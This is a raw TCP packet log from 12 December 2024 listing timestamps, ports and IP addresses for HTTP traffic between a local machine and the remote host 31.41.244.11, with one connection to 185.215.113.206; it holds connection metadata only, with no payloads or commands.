Dec 12, 2024 21:50:48.221250057 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.221386909 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.222248077 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.222428083 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.222775936 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.223453045 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.223500967 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.223685980 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.223731995 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.364003897 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.364017963 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.364279032 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.364347935 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.365470886 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.365506887 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.366611958 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.366760969 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.367760897 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.367846012 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.369009018 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.369057894 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.370138884 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.370246887 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.371191025 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.371299982 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.372359037 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.372571945 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.372766972 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.372961044 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.373511076 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.373579979 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.373610973 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.373795986 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.374706984 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.374866962 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.375830889 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.375958920 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.376966953 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.377029896 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.378153086 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.378226995 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.379257917 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.379323959 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.380420923 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.380494118 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.381592989 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.381649971 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.382663965 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.382793903 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.382802963 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.383936882 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.384103060 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.385080099 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.385169983 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.386179924 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.386224985 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.387293100 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.387423038 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.388410091 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.388530016 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.389620066 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.389715910 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.390724897 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.390798092 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.391906023 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.391971111 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.393120050 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.393274069 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.394236088 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.394295931 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.395409107 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.395483017 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.396476984 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.396603107 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.397636890 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.397779942 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.398794889 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.398899078 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.399982929 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.400101900 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.401106119 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.401211023 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.402254105 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.402355909 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.403012991 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.403409004 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.403481007 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.404573917 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.404691935 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.405700922 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.405905008 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.406878948 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.406984091 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.408030987 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.408214092 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.409182072 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.409324884 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.410317898 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.410505056 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.411454916 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.411601067 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.412592888 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.412700891 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.413126945 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.413337946 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.413337946 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.413337946 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.413367987 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.413388968 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.413759947 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.413882971 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.413908005 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.413953066 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.414885998 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.415066004 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.415195942 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.416035891 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.416147947 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.416162014 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.417202950 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.417376995 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.418504000 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.418629885 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.419539928 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.419620037 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.420753002 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.420922995 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.421940088 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.421972990 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.422956944 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.423023939 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.423167944 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.424232006 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.438143015 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.556287050 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.556418896 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.556910038 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.557041883 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.557967901 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.558096886 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.559133053 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.559235096 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.560173035 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.560296059 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.561393976 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.561425924 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.561465025 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.561481953 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.561568022 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.562517881 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.562608004 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.563735008 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.563839912 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.564557076 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.564779043 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.564907074 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.566083908 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.566195965 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.567400932 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.567576885 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.568340063 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.568432093 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.569438934 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.569590092 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.569767952 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.569797993 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.570568085 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.570724964 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.571791887 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.571922064 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.573242903 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.573334932 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.574275017 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.574444056 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.575551033 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.575568914 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.576580048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.576713085 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.577750921 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.577958107 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.578834057 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.578994989 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.579921961 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.580034971 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.580965042 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.581077099 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.582040071 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.582159042 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.583180904 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.583292007 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.584126949 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.584359884 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.584484100 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.584630966 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.585500002 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.585613966 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.586671114 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.586771011 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.587867022 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.587904930 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.588993073 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.589078903 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.590970993 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.590986013 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.591259003 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.591412067 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.592403889 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.592503071 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.593545914 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.593653917 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.594758987 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.594887972 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.595082045 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.595120907 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.595165968 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.595874071 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.595978022 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.597035885 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.597117901 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.598150015 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.598351955 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.599282980 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.599404097 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.600444078 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.600560904 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.601591110 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.601682901 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.602189064 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.602189064 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.602747917 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.602843046 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.603888988 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.604062080 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.604775906 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.605061054 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.605180979 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.606206894 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.606374979 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.607495070 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.607614040 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.608563900 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.608655930 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.609652042 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.609747887 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.610775948 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.610913038 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.611947060 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.612075090 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.613141060 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.613292933 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.614253998 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.614433050 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.615387917 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.615592003 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.616664886 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.619621992 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.622951031 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.622988939 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.739340067 CET	49941	80	192.168.2.6	185.215.113.206
Dec 12, 2024 21:50:48.748364925 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.748459101 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.748466015 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.748517990 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.748909950 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.748955011 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.748991013 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.749036074 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.750004053 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.750046968 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.750091076 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.750185966 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.751147985 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.751194000 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.751513004 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.751555920 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.751599073 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.751646042 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.752197027 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.752240896 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.752336979 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.752377987 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.753357887 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.753401041 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.753443003 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.753485918 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.754497051 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.754616976 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.754789114 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.755656958 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.755700111 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.755762100 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.755801916 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.756926060 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.756968975 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.757031918 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.757075071 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.757950068 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.758018017 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.758081913 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.758124113 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.759174109 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.759218931 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.759262085 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.759303093 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.760250092 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.760293007 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.760339975 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.760381937 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.761420012 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.761464119 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.761523008 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.761564016 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.762532949 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.762579918 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.762675047 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.762717962 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.763696909 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.763744116 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.763864994 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.763907909 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.764856100 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.764905930 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.764941931 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.764985085 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.766002893 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.766180992 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.766262054 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.767151117 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.767268896 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.768367052 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.768476009 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.768605947 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.769623995 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.769709110 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.769886971 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.770627975 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.770684958 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.770720005 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.770766020 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.771773100 CET	80	49971	31.41.244.11	192.168.2.6
